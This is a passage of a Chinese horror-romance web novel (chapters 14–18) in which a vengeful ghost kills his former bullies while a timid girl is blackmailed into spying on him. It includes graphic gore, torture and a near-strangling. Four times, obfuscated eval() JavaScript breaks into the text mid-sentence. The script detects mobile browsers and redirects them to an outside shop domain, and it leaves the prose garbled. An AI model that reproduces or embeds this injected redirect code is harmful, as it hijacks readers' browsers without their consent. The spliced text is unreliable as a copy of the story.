在撕下胶带的过程中,他的皮肤一起被扯烂了,浑身上下已经没有任何皮毛,□□处的器官不见了,只剩一团黑乎乎,血肉模糊的身躯往下淌着鲜红色的液体,像一头汁水充沛的烤卤猪。 这样痛苦的状态,他却还没死掉。 喉咙深处,发出老人家一样气若游丝的求救声,咿咿呀呀的,有点儿搞笑。 “多亏了胶带妈妈,要应付这头猪很恶心吧。”是时砚,“辛苦了。” “没有的事。”胶带妈妈嗓音嘶哑,语气却格外温柔,“我也很开心能帮上雪溯少爷和大家的忙。” “接着就剩那两个人了吧!我已经迫不及待了。” “不。” 是雪溯。 他的声音心不在焉,听起来并不开心。 “在那之前,得先找到她。” “都怪我,对不起,我把人看丢了……”沐灵玖很是愧疚,头埋得极低,“你惩罚我吧,溯哥哥……” “罚你有什么用。把人找回来才是该做的。她跑不出太远。阳毅,你能感应到吗?或许她就在附近。” “我试试看。” 潮曳惊得浑身发抖,左顾右看,毫不犹豫地爬进浴缸,将自己藏进一大堆尸体下面。 尸体的阴气或许能遮挡住她身上人类的阳气…… 果然,何阳毅道:“这个地方气息太重,不好探知。” 几个鬼继续对话。 倒挂的朱志远也终于解脱了,痛苦至极地咽下了最后一口气。 潮曳不敢出声,也不敢离开尸体的掩护。 只屏住呼吸,等待着雪溯等鬼离开。 终于。 他们出去了。 再也忍受不了尸体恶臭,潮曳站起身,却被从后方伸来的一只手捂住了嘴巴。 “嘘。” 柑橘味的香水已闻不到半点,只有浓郁的腥臭,冲撞进潮曳的大脑: “小潮曳,从现在开始,听我的命令行动。” 是乔菱纱。 14.美丽怪物 “从现在开始,听我的命令行动。” 恶魔贴着她的耳朵,声音像糖水一样娇甜,流灌进来: “好吗?” 潮曳颤抖着点了点头。 乔菱纱便笑起来,松开了手。 “小潮曳,一直找不到你,我以为凶多吉少了,没想到你人还活着。” 乔菱纱的造型很是狼狈。 她和潮曳一样发现了鬼感知人类位置的规律,选择躲进塞满尸体的浴缸之中。 她躲藏的时间比潮曳要久,漂亮的长发已像枯草一样打结,浑身湿漉漉,散发着熏人的恶臭,手指上的美甲也折断了。 但她看起来并不在意,反而淡定微笑: “雪溯对你网开一面了吧,真好啊。他是个讲情义的男人,谁欺负过自己,谁帮过自己,爱憎分明。看来他是爱上你了。那你呢,你喜欢雪溯吗?” 潮曳惶恐不已,摇了摇头。 “咦,原来是单恋呀。好可怜的雪溯,好不容易再遇喜欢的人,对方却没有那种意思。” “没关系,只要他喜欢你就好了。哪怕喜欢的是假的你,爱本来就是这样虚虚假假的东西嘛。” 乔菱纱像摸小狗一样,拍了拍潮曳的蘑菇头。 “你去接近雪溯,问出离开这个地方的办法,然后杀了他。” “雪溯是他们的领导者,只要他死了,群龙无首,剩下的鬼就容易对付。” “……” “我、我、我……我做不到……菱纱……” “这有什么做不到。就算变成了鬼,男人还是男人。”乔菱纱道,“在喜欢的人面前,男人的自制力就像纸糊的一样,你只需在他最脆弱的时候套出话来。” “……” 乔菱纱一定是疯了。 潮曳知道她话里的意思。 她让她去勾引雪溯!和一个男鬼交换遗传信息! 疯了吧! “拿着这个。” 乔菱纱丢来一个类似桃木剑的法器,不尖也不沉,看起来没法杀死任何生物。 “纠正一下口误。雪溯已经死了,所以不是杀了他,而是彻底摧毁他的鬼魂。” 潮曳没有接过。 一点沉默的对抗。 乔菱纱盯着她,笑了。 “小潮曳,你是不是产生了一些误会呢。” “我不是在和你商量。” “我是在命令你。” “你不会忘了吧。” “你不会以为,朱志远他们死了,你却不会有事。” “小潮曳。” 最甜美的声音,吐露令人作呕的话语。 “你也是害死雪溯的凶手之一哦。” 乔菱纱拿出一台相机。 里头记录着潮曳告密的事。 潮曳惊慌失措,下意识伸手想把相机夺过。 乔菱纱动作灵巧地避开了她:“没用。我还有备份。” “不,不可以……” “不可以被雪溯发现了这种东西。他会失望地发现一切都是骗局,‘没想到你是这种人,我真是看错你了。’” 潮曳紧咬双唇。 “如何?我们现在是一根绳上的蚂蚱了吧。”乔菱纱道。 * 雪溯心神不宁。 沐灵玖自然很愧疚。 如果不是她一时疏忽大意,也不会让潮曳跑了。 “溯哥哥,我再去找找……” 雪溯沉默不语。 沐灵玖见状更害怕了。 “好了灵玖,你忙活半天也累了,先去休息吧。这里交给我了。”时砚说道。 沐灵玖只能默默地离开了。 雪溯仍一言不发。 时砚挠了挠自己的凹脑袋,正想出言安慰,却看见雪溯忽然望着他身后,瞳孔一缩: “你……” “我……迷路了。这个地方太大了。” 雪溯将潮曳一把拥入怀中。 由于这次的接触面积极大,潮曳浑身像过电一样,又冷又酥又麻。 “不是说了,不许离开我的么……” “对、对不起……” “原谅你了。”鬼的声音听起来闷闷的,“没有下次了,林潮曳。” “是……” 时砚见状识相地走掉,把房间留给了雪溯和潮曳。 潮曳浅浅挣动了几下,根本挣脱不开鬼的怀抱。 要是雪溯想勒死她,就像呼吸一样容易。 “你刚刚去哪了?这里有一些低等怨灵,无法沟通,一旦遇到会有危险。” “我……进了一个淋浴房一样的房间。” “那个地方就有上百只怨灵,都是枉死的,厉鬼级别。” “……” 潮曳后怕地缩了缩脖子。 雪溯又好笑又无奈。 跟只仓鼠似的。 “你怎么找到出路的?” “有一个男人……鬼,救了我。” “……坐着轮椅?” 潮曳点头。 雪溯若有所思:“没想到他会愿意帮你……” 那只鬼和潮曳见到的鬼不一样。 他身上没有怨气,也没有什么鬼气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827547|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就和那副快要消散的形体一样,淡淡的,虚蒙的。 “你想见见他吗?”雪溯问。 潮曳确实有点好奇,点了点头。 雪溯带着她来到了淋浴房。 有雪溯在身边,没有鬼敢接近潮曳。 轮椅男人躺在浴缸内。 “林先生。” “雪溯?” “你最近怎么样?” “老样子。”林雪苏静静道,“或许时日无多。” “只要带来人类的尸体,你的灵体可以一直维持下去。”雪溯道,“……前提是,你心里想维持。” “你已经知道答案了,雪溯。”林雪苏从浴缸坐起,缓慢地爬到了轮椅上。 明明是鬼,合该来去自如,怎么还需要使用轮椅呢。 这只鬼很虚弱。 如果定睛细看,会发现他长着一张苍白而美丽的面容,即使笼罩着深深的病气,也难以掩盖那种美丽。 潮曳是不敢盯着其他人的脸看的。哪怕和对方说话,能不对视就不对视。 但她还是被林雪苏的脸吸引住了,盯得有些入迷。 直到雪溯唤她的名字,潮曳才恍恍惚惚回神,意识到两人已经离开了淋浴间,回到了房间。 “林先生已经死了九年。再过几天就是他的忌日,那时候就是整十年了。”雪溯说,“他是被他爱人杀害的。” “……因为去世了很久,所,所以才会是那副样子吗?” 那副仿佛立刻就要消散的模样。 “没错。我们虽然能够以鬼魂的形态留在世间,但超过一定时限的话,会逐渐……” 雪溯没有把话说完。 他望着潮曳:“你很在意林先生?” “没有,我只是,觉得那个人长得很美……”潮曳说出了心里话。 这样美丽的人,居然会被恋人杀害。 更奇怪的是,明明是被杀的,他死后却没有任何怨气。还对素不相识的潮曳伸出援手。 “是吗。原来你喜欢那样的长相啊。” 雪溯的声音淡淡的,听不出喜恶。 潮曳却听出来他生气了。 乔菱纱的话回荡在耳边。 那把桃木剑还藏在她衣服里。 她得从面前这只男鬼口中套出话来。 否则等待她的就是最恐怖的结局。 突如其来的强烈勇气,潮曳注视着雪溯,脱口而出: “我……更喜欢你的……脸。从你转学来的那天,第一次看到你。” “我就觉得你很好看,根本不是其他人口中的怪物。” 15.黏糊的爱 “我觉得你很好看,根本不是其他人口中的怪物。” 那只淡蓝色眼瞳怔住,闪过某样情绪。 并不很激烈的情绪,却跳动着,像要跃出来一样。 “我可以亲你吗?” 潮曳大惊。 面前鬼已朝她靠了过来,手指穿过她的脸颊,带来比先前更强烈的酸胀感觉。 雪溯亲吻了她的脸。 好冰。 两人挨得很近,近到潮曳能看清雪溯那根根分明的睫毛,她感觉不到雪溯的呼吸、心跳、体温,他像一具死物,脸庞却微微红着,明明是他主动提出亲她,没等她同意就擅自亲了上来,结果反倒自己先脸红。 等一下。 虽然变成鬼的雪溯性格发生了变化,变得强硬而主动。 但他和潮曳的身体接触……其实都是很初级的。 亲吻额头也好,脸颊也好,拥抱也好……看似暧昧,却并没有更进一步的冒犯。 放在外国人之间,这只是普通的礼节。 难道说。 不,不是难道。 雪溯一定还是个毫无经验的处男。 他死的时候才十八岁啊! 别说和人交换遗传物质,他说不定都没和女孩子交流超过十句话! 潮曳眨了眨眼。 “雪溯。” “我在。” “你说的‘亲你’,只是指脸颊吗?” “……诶?” “……” “……” “……” “……” “如果……是……别的地方……” 雪溯愣在当场。 潮曳直接闭上双眼。 不看他的脸,就不会那么尴尬了。 等了很久。 他终于凑近过来。 鼻尖稍微穿透,好痒,想打喷嚏。憋住。 她被贴住了。潮曳微微张开嘴,试着卷住。 鬼魂全身一颤。 怎么会有这样冰凉的东西。好在她很温暖。暖融融的,像一汪温泉。 潮曳没和人接过吻,但她看过那些限制级的小说和电影。 她觉得和人交换口水是一件很恶心的事情,虽然电影里拍得很煽情,还是俊男美女,但不妨碍她每次看到都嫌恶地用手遮挡住。 与此同时,潮曳又会学着网上的教程,用自己的手臂来模拟接吻,亲得胳膊上都是口水。 她一定是个压抑至极的变态。 此时此刻,模拟练习派上了用场。 潮曳像是在品尝一块冰冰凉凉的糕点,一开始因陌生感和恐惧感作祟,只能小口小口地食用。但这块糕点比她想象的还要美味,那种冰凉的触感令人害怕又迷醉,她渐渐大起胆子,想要尝到更多味道。 和人接吻很恶心,但和鬼接吻刚刚好。 潮曳慢慢退开了雪溯,打算结束这个异常黏糊的接触。 然而雪溯却阻止她退离。 刚刚的过程中,他明明还有点抗拒,乱动不愿配合,要么身躯僵硬得像一具尸体。 潮曳就知道他和她一样没和任何人做过这种事,或许连模拟练习也从来没有过。 可当她想停下时,鬼魂又依依不舍,一点不愿意结束。 …… 呼吸声。 缺氧警告。 有什么东西。 异常热烫。 潮曳终于意识到不对。 “雪……雪溯……停……停了……” 雪溯茫茫然望着她,蓝色眼睛里涌胀着根本无法自控的东西,浑身冰凉到极致,反而像在发烫一样,他不知怎么处理这样的自己,又知道这是很不对劲的情况: “林潮曳……?” “嗯……” “你怎么……这么会……是不是……” “诶?” “……和谁……” 潮曳知道了他意思。摇了摇头。 “这是……第一次——和你。” 冰冷又滚烫的体温,像要燃烧起来一样,满面通红的雪溯靠倒向她身上:“……太好了。” * 夜晚来临。 潮曳试图忘掉白天发生的事。 但雪溯一直坐在床边盯着她,让潮曳时不时又回想起和那块冰凉糕点相贴时的感觉。 好可怕。 好奇妙。 难怪电影里的人…… 软乎乎的。湿漉漉。像小兽之间互相啃咬。 如果继续下去的话。 潮曳浑身一激灵,不敢往下想了。 “你会无聊吗?”雪溯开口,“这里没办法上网,要不我找几本书给你,或者单机游戏,你会玩吗?” 潮曳想了想:“……有手工方面的书吗?” “有!我去拿来给你。” 雪溯很快带来了快有两米高的手工相关书籍。 潮曳吓了一跳:“这这这么多?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833316|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔,我不知道你想要的是哪一种,所以就全都找来了……” “不会很沉吗?” 雪溯:“我可是死人啊,这一点重量根本不算什么。” 潮曳从里头拿出了一本微缩模型相关的书籍,是她最近一直在研究的领域。 雪溯目不转睛地盯着她看书的样子,这让潮曳没法静下心,看了几页,从书页间偷偷抬起头。 “原来你会做手工啊。” “会,一点儿……” “我之前都不知道。” “嗯……那是因为,我们都没怎么说过话……”明明没怎么说过话,刚刚却亲成了那样。 “我一直想和你说话。”雪溯道,“但不知道……怎么开口。我不擅长和人打交道。” 好巧,她也是。 “那次你把衣服给我,帮我打开卫生间的门。我一直很想向你道谢来着。” “……” “现在说的话,会算迟吗?”雪溯道,“谢谢你,林潮曳。” “……” “……是因为那次,我帮了你……才,喜欢上我的吗?” 雪溯微微一顿:“我……” “那岂不是,你只是喜欢上了一个……并不了解的人?” 停顿。 “如果那天帮你的是其他人,你也会爱上她吗?” 雪溯轻蹙起眉,他并不喜欢这个问题。 潮曳像脑抽风了似的,继续道:“会不会,这其实根本不是‘喜欢’。只是把感激,当成了好意……” “不对,我就是喜欢你。”雪溯否认道,“我喜欢你的善良,感谢你的帮助,同时也喜欢你这个人,这一切并不矛盾。如果不喜欢,刚刚怎么会和你接……吻。和不喜欢的人做那种事情,会很恶心。” “可是你……”声音渐渐变小,“都不知道我喜欢做手工的事……” “那是因为我们之前接触的太少了。从现在开始,我想了解更多的林潮曳,不管是你的兴趣爱好,还是其他的什么,你的一切,我都想知道。” 潮曳心脏狂跳。 这样露骨的告白,从来没有人对她说过。 她羞耻得想要钻进地洞,又兴奋地遐想“你的一切”包不包括比刚刚更进一步的事情。 最后,她想到了一件事。 “那……之后呢?”潮曳问,“你想我和你一起留在这个城堡。” “是不是要杀掉我……把我也变成鬼?” 16.人鬼有别 雪溯的表情有了微妙改变。 冷淡的,猜悟不透想法的模样,和刚刚接吻时面红耳赤的少年判若两人。 “……有什么不好呢?” 鬼魂飘了过来。 上一刻还在床边,下一秒近至眼前,俯视着她。 “当人类,很痛苦啊。” “做鬼就好多了。” “没有约束,可以随心所欲做想做的事。” “人类还很脆弱。” “稍有不慎,就会死,要么得重病,生不如死地活。” “做鬼没有这样的烦恼。” “你说呢,林潮曳?” “可是……” 有一瞬间,潮曳觉得雪溯说的话非常有道理。 当人的确很辛苦,被欺负,被忽略,被厌恶,被殴打。只要回忆,全都是不好的事情。 最难过的时候,潮曳当然也想过死,不止一次。 他的双手轻轻抚上她的脖子,在颈动脉的位置停住,穿透又没穿透的姿态,胀涩感流窜全身,比之前都要强烈。 有这样一种说法,人死后就不再是人了。变成鬼之后,人性的部分虽然还留存着,但会渐渐被鬼的部分吞噬掉,直至完全成为另一种生物。 强大而冷血的生物。 如果她一直和一只鬼待在一起。 会不会迟早变得……和鬼一样? 窒息感。 窒息感。 好痛苦! “雪、雪……溯……” 潮曳脸部涨红,双手不停挥动,她想拿出藏在衣服里的法器,却连动都动不了。 雪溯松开了手。 “抱歉,你没事吧?我,我刚刚……” 好痛苦。 濒死的感觉好痛苦。 她不想死,不想当鬼,只想逃离。离这一切远远的,回到那个封闭而安定的自我世界里。 不是因为想当人类而活着。 她很弱小。 弱小者最大的武器就是维持现状。 他不会懂的。 因为他比她强大。 “我,我会留下来……和你一起……可不可以暂时不要……把我变成鬼?” * 谢博彦手握铃铛,猛地摇晃起来。 刺耳响铃回荡在空荡荡长廊,四周漂浮的看不见的东西退散开来,不敢靠近。 谢博彦不敢掉以轻心,每往前走五步,便要晃动一下铃铛,确保没有“东西”跟上来。 他已在这个鬼长廊打转了八个小时,从天亮转到天黑,深更露重,阴气森森,风雪敲击着窗户,乔菱纱和朱志远早已不知所踪。 谢博彦以为自己走不出这鬼打墙,前方景象终于有了点变化——房梁下出现了一具吊挂的尸体。 尸体的脸被长发遮挡,脖子拉得老长,用来上吊自杀的绳子深深嵌进肉里,已经解不开来。 谢博彦不想从尸体旁边经过,但身后那片封闭空间更令他讨厌。 他边走边摇动铃铛,步履飞快,在经过女尸时差点被垂在地上的绳索绊倒。 上吊的女尸纹丝不动,应是死透了,他大着胆子看了眼那尸体的脸——充满怨念与不甘的表情,他曾经在另一人脸上也看到过。 这具尸体并非自杀,而是他杀后被吊起来,伪装成自杀。只有这样的死法会露出这种表情。 铃声停了下来。 谢博彦大惊,连忙重新摇动铃铛,再也不敢耽搁。 可他没走两步,便觉后背奇凉无比,还听到沙沙、沙沙的摩挲声——像有人想要解开绳子一样。 谢博彦朝前狂奔,看到了上楼的楼梯,来不及思索为什么只有上楼没有下楼便跑了上去,手中摇铃快将手摇断,直到看到一间屋门大敞的房间。 谢博彦冲进房间,慌乱锁上了门,剧烈的绳索摩擦声被阻挡在外,他稍微松下一口气,身后响起声音: “救救我!” 谢博彦猛地转头,情急之中铃铛差点脱手,好在被他抓紧了:“你是谁?!” 少女浑身被黑绳捆绑,跪置在一块祭坛上,周围一样的祭坛还有六块,每块都插着写有他们的姓名和生辰八字的木牌。其中几块祭坛已经放上朱志远、容霏霏等人的尸体,祭坛中央摆放着两具棺椁,一具开着,放着一个等大小的纸人,一具合着,竟然还是粉红色的。 房间内挂满招魂幡,无风自动,沙沙作响,地上按七星阵形放着引魂灯,墙上全是写满咒语的漆黑符纸和圆环形的装饰物,传说中,圆环代表通往冥界的入口。 谢博彦联想到了复活仪式。 雪溯想要杀掉他们,来当做祭品,完成自己的复活仪式! 这具开着的棺材里的纸人,虽然是男性,容貌却十分俊美,谢博彦想到了借尸还魂之类的,却并不清楚另一具粉红色的棺材是拿来做什么。 “救救我,我可以告诉你出口在哪里!” 谢博彦在少女身前摇动铃铛,见其没有异常,才放下心来。 “你怎么会在这里?这个地方是做什么用的?” “我什么都不知道,我是被抓来的!他们想杀了我当作祭品!” 雪溯已然丧心病狂,为了自己能复活不惜滥杀无辜。谢博彦道:“出口呢?” “你先帮我把绳子解开。” 见谢博彦没有动作,少女心急如焚:“就在那个祭坛后面,有一个通道!” 谢博彦检查了祭坛后方,果然看到一个隐蔽的洞口,内部隐隐有气息流动。 “我告诉你了出口,救救我呀。” “你怎么知道这里可以出去?” “我看到那些……鬼,从这里出去过,这个房间里的‘东西’也都是通过这个通道运来的。” 东西指的应当是朱志远等人的尸体了。谢博彦不动声色,他注意到女孩所在祭坛的令牌上写的是他的名字和生辰八字,或许雪溯因抓不到他和乔菱纱,只能以其他人作为代替了。 对了,乔菱纱。 谢博彦尝试着拨通了乔菱纱的电话。 “喂。” “谢博彦?你在哪?” “我知道雪溯的目的了,他想用我们来复活他自己,菱纱。” 谢博彦将房间内所见的布置告诉了乔菱纱,乔菱纱让他打开那个粉红色的棺椁看看是什么情况,谢博彦虽然有点膈应,但还是听了乔菱纱的话。 这个粉色棺材和房间里其他的东西相比,违和得不是一星半点,棺材里外都是粉色的,内部有大量少女心的装饰物,还铺着柔软的垫子,不知道以为是给仓鼠做窝。 乔菱纱若有所思,说了一句“原来如此”便挂断了电话,谢博彦本来想告诉她发现出口的事,却来不及说。 不过他也无法描述这个房间的位置,这所“名屿”的布局诡异到极点。等他从这出去了找人来救乔菱纱也是一样的。 见少女眼巴巴地望着自己,谢博彦不紧不慢地走上前,解开了她身上的绳索,少女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837154|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣喜难抑:“谢谢你!” 谢博彦不欲在这个封闭的空间多待,便爬进了洞口,少女紧跟在他身后,向前探行几步后,谢博彦问: “这个通道有岔路吗?” “没有,是直行的!” “那就好。” “好”字落音之际,谢博彦便抬脚将少女踹了出去,随后一把堵住了入口,让其无法进入。 “你干什么?!让我也出去啊!” “不,你还是当祭品好。”这样,雪溯就不会找到他头上来了。 再三确认少女无法开启堵住的门洞后,谢博彦放心地继续爬向出口。 他能感觉到气流的动向,出口离这不远。 谢博彦有幽闭恐惧症,通过大量药物和脱敏治疗后,控制得不错,不算很严重,但如果在封闭空间待了太久,还是会出现呼吸困难等症状。 谢博彦从小都讨厌这样“特殊”的自己,如果没有这个病,他可以和普通人一样坐电梯、看电影。 “特殊”意味着“不合群”,“不合群”意味着要被讨厌,被讨厌的对象最好缩在角落,越卑微、越脆弱才对。 雪溯却是例外。 有那样一张怪脸,却从不觉得自己是异类,从来不会卑躬屈膝,不会低头求饶,甚至眼神里有一种令人作呕的孤高,仿佛其他人才是错的。 谢博彦讨厌雪溯,对他的死没有任何愧疚,他没有主动欺负过雪溯,大部分都是朱志远等人干的,他只作为一个下手。 如果说有什么值得惋惜,那就是到最后雪溯都没有向他们认输。 如果他早一点低头,不就没有后面那么多事了吗? 非要落得一个自杀的结果。这难道不是雪溯自作自受? 不确定向前爬了多久,如少女所言,这个通道是一路直行的,没有分岔。 空气的流动越来越明显,却迟迟没有出现出口,谢博彦开始有些着急。 既然没有分岔,唯一一条通路,不管怎样一定可以出去。 难道那女的骗了我? 如果一直爬都爬不出去该怎么办? 这个念头一旦出现就糟糕了。谢博彦开始出现心慌、手抖的症状,呼吸也变得急促。 冷静下来。 手脚的发抖拖累了移动,狭窄封闭的通道内部令呼吸不畅,谢博彦渐渐使不上力来,大脑出现缺氧的感觉,甚至产生了幻听。 绳索摩挲的声音。 像有人想要解开脖子上的绳子。 谢博彦浑身一激灵,感受到冷风吹拂在脸上,面前却黑乎乎什么都看不清,他开始怀疑那个上吊的女鬼就在前面,在黑暗中等待他爬过去! 谢博彦调转方向,用最快速度沿原路返回,每爬一步都能听到绳索摩擦声,忽大忽小,忽远忽近,那女鬼好像追在他身后,马上她的手就要抓住他的脚踝了! 看到亮光,是入口! 但是,无论谢博彦如何搬动入口处的石块,都打不开被堵死的洞口。 该死,刚刚把这里堵太紧了! “喂,你还在不在!”他只能朝外喊道,“这条路的出口不对劲,不能从这里出去,你快帮我把洞门打开!” 没有回答。 一块魂幡遮下,将洞口完全盖住,这下没有任何光亮。 洞道内陷入彻底的黑暗,谢博彦四肢颤抖,心跳急冲,浑身被虫蚁啃食,呼吸仿佛下一瞬就要终止。 他听见绳索摩挲声,这一次近得就在耳边。 17.他的人偶 雪溯注视着谢博彦的尸体: “谢谢你们了。” 少女和吊死女人:“这点小事而已。” “其实我没有骗他,”少女道,“明明他再往前爬几步就能出去,是他自己放弃的,雪溯哥你其实是故意给他机会的吧?” “故意?”雪溯稍稍一笑,“鬼和鬼不同,人和人也不同。” 对朱志远章丽宝等人来说,□□上的痛苦就很痛苦了。 他们会在身体稍微遭受些折磨时就发出动物般的鬼哭狼嚎。难听。 但对谢博彦这种人来说,一点点摧毁他的理智才更让他受不了。 慢慢地崩溃、绝望、精神错乱,变成眼前这副丑样子。 雪溯觉到身心轻盈,从未有过的轻松感,他很想回到房间,和那个人分享这种感觉。 何阳毅从门外飘了进来:“雪溯。” “什么事?” “我一直找不到那个姓乔的女人。” “没事。” 雪溯捡起谢博彦掉在地上的手机:“他和她联系过,已经有了媒介。” “我来我来!”少女兴奋道,“我可以钻进去!” “不。这很危险。”雪溯道,“在弄清楚她的护身符是什么来历前,不能轻举妄动。” “好怕,那我吓吓她总行了吧?”少女道,“灵异电话我最拿手了。保管她吓得都不敢一个人上厕所。” “这个可以。” 少女嘿嘿一笑,拨通了乔菱纱的号码,等了一阵那边才接起来,她模仿谢博彦的声音,询问乔菱纱所在位置。 “她会上当吗?” “不会又怎样呢?早死晚死,都是死。一个都逃不掉。” 何阳毅看出来雪溯心情很好。 他为这位朋友的复仇任务已成功完成大半而感到开心。 开心之余,望向房间里那具突兀的粉红棺材,隐隐又有担忧浮现: “你做好决定了吗?雪溯。” “打算什么时候对她下手,完成转化仪式?” * 天亮了。 睁开眼发现自己还是人的感觉真好。 但为什么她上面飘着个鬼呢? “早上好。”一边淡蓝眼睛的美少年朝她道早安。 “早,早上好。” 被鬼直愣愣盯着的感觉不是很好,盯得久了,潮曳开始担心自己是不是睡出了鸡窝头,眼皮有没有肿,睡相是不是很难看。 但男鬼好像完全不在意这些事。 “这是什么?”雪溯指着潮曳压在身下的东西。 潮曳把东西抽出来,软软的手感,淡黄色碎花,搭配蕾丝花边,可爱得令人晕眩的款式。 雪溯瞬间红了脸。 他支支吾吾地说着抱歉,飞快转开脸。 雪溯懊恼于自己瞬间想象到了潮曳穿着这个东西的样子,而比这更可怕的是,既然这东西在床上出现,就证明现在的她是什么都没有穿的…… 打住。 不可以想!龌龊的事。 “雪雪雪溯,我想先换个衣服……” “好、好,你换。” “你可不可以先出去一下……” “啊不好意思,马上!” 真可爱。 飘到门口的男鬼忍不住想。 为什么只是内衣都会那么可爱? …… 作为暂时不把潮曳变成鬼的交换条件,雪溯提出要了解更多的潮曳。 具体的方案是两个人24小时待在一起。 这样肯定迟早能“了解”个透彻。 雪溯害怕潮曳无聊,特地找来了沐灵玖。 潮曳对为了逃跑用闪光灯照了沐灵玖一事心怀愧疚,但沐灵玖完全不在意。 “女,女神,真,真的可以吗?和我一起做手工……我不会打扰你们俩吧?”就算打扰我也想看潮汐之夜做手工。 沐灵玖不敢把心里话说出来。 潮曳点了点头。 “我之前说,要把博多兔子送给你一只……但是……呃……我现在就做一只给你吧。” 沐灵玖感到晕眩:我需要吸氧。 “您是神。” 潮曳和沐灵玖在做手工,雪溯就飘在一旁看着二人。 普普通通的配件在潮曳的手里变成了一只酷酷的、可爱的兔子,雪溯确定自己没有眨过眼,明明上一秒还平平无奇,下一秒博多兔子就出现了。 沐灵玖捧着兔子玩偶,激动得不知如何是好,反复亲吻兔子脸,又想来亲潮曳的手。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840754|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还、还是不要那样了……” 沐灵玖嘿嘿一笑:“你真的好厉害呀潮汐之夜。” 像博多兔子这样的玩偶是最好做的了,潮曳不觉得有多厉害。如果从其他人口中听到这样的话,她一定会认为对方是在嘲讽弄她。但沐灵玖完全没有这个意思。 两人聊着手工方面的东西,雪溯插不进话,就飘在旁边听着。 他的目光一直黏在自己身上,潮曳感到紧张,不时结巴,说到擅长的地方,又渐渐忘记了雪溯的存在。 她从来没有和现实里的人分享过这些事,没人会认同她,冷嘲热讽已经是最大的关心了。 但沐灵玖也是手工爱好者,她可以理解她的想法,她随口提到一点,她能迅速接到下一点,哪怕她嘴笨,结巴,表达能力一团糟。 “好了灵玖。你是不是还有别的事?先去忙吧。” 沐灵玖还有很多问题想问潮曳,但雪溯发话了,她只好道:“也,也是,我一直缠着你说这说哪。” “没有,我,我很喜欢和你聊……天……” “嘿嘿那就好,谢谢你的博多兔子。” 沐灵玖离开了,房间里又只剩下潮曳和雪溯两个人,雪溯忽然低声道:“很喜欢和她聊天啊……” “什么?” “没有。”雪溯指着桌上的手工品,“这些都是你一个人做的?” “嗯,嗯。” “真的很厉害。” 潮曳浑身不自在,有点想逃开这里。 她不太懂雪溯的语气。 “我可能……真的并不了解你。” “我,我也不是什么……值得了解的人……雪,雪溯,你不如忘记我之前说的话吧?” 早知道就不说“你一点都不了解我”这种自以为是的话了。 “林潮曳,你都做了玩偶给灵玖,也做一只给我吧?”雪溯道,“这样才公平。” “好,好。你要什么样的?”做东西是她唯一会的事情了,比猜测男鬼心思简单多了。 雪溯的手摩挲过桌上的玩偶,纤长的手指骨节分明,慢悠悠的挑选姿态,让潮曳恍惚产生了他的手并不是在抚摸她做的玩偶,而是她的身体的感觉。 “这个玩偶。”他拿起其中一只人偶,“怎么长得那么像我?” 18.雪的忧郁 潮曳大叫一声,在雪溯惊讶的目光下冲上前抢走了人偶。 人偶小雪。 每天晚上都注视着她自我安抚的小雪。 被她弄脏过的小雪。 聆听她无数心事和秘密的小雪。 依照那个少年制作而成的小雪。 小雪。 雪溯。 “抱歉,是我不好,乱碰你的东西。”雪溯向她道歉,目光却仍然落在人偶的身上,想确认什么一样。 潮曳怕他看出端倪,情急之下将人偶塞进了内衣里。 雪溯:“……” 这下他不敢看了。 “我,我,我可以给你做一个,你,你喜欢什么动物?” 雪溯想了想:“仓鼠。” “好的。”潮曳忙道,“我现在就做。” 雪溯盯着她的翻飞忙活的手指,一眨不眨。 “做好了……仓鼠。给,你。” “真的给我?” “那、那不然给谁? “好……可爱。”雪溯望着她,“一模一样。” 雪溯问她是什么时候开始做手工,怎么入门的,为什么能做得这么好。 潮曳一一如实相告。 问到沐灵玖是怎么认识她的,潮曳说了潮汐之夜手工集会的事。 雪溯注视潮曳的目光再次有了复杂意味:“粉丝……居然有这么多人喜欢着你……” “也,也不算是,只是闲着无聊,他们……也不了解我。” 